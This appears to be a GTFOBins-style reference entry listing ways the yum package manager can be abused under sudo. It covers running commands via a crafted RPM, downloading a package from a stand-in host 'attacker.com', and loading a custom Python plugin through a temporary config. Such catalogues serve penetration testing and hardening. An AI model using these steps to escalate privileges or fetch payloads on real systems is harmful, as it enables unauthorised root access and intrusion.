yum
Command
This executable can run non-interactive system commands.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.yum localinstall -y x-1.0-1.noarch.rpm
Download
This executable can download remote data.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.yum install http://attacker.com/path/to/input-file.rpm
Inherit
This executable can inherit functions from another.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.cat >/path/to/temp-dir/x<<EOF[main]plugins=1pluginpath=/path/to/temp-dir/pluginconfpath=/path/to/temp-dir/EOFcat >/path/to/temp-dir/y.conf<<EOF[main]enabled=1EOFcat >/path/to/temp-dir/y.py<<EOFimport yumfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVErequires_api_version='2.1'def init_hook(conduit): ...EOFyum -c /path/to/temp-dir/x --enableplugin=y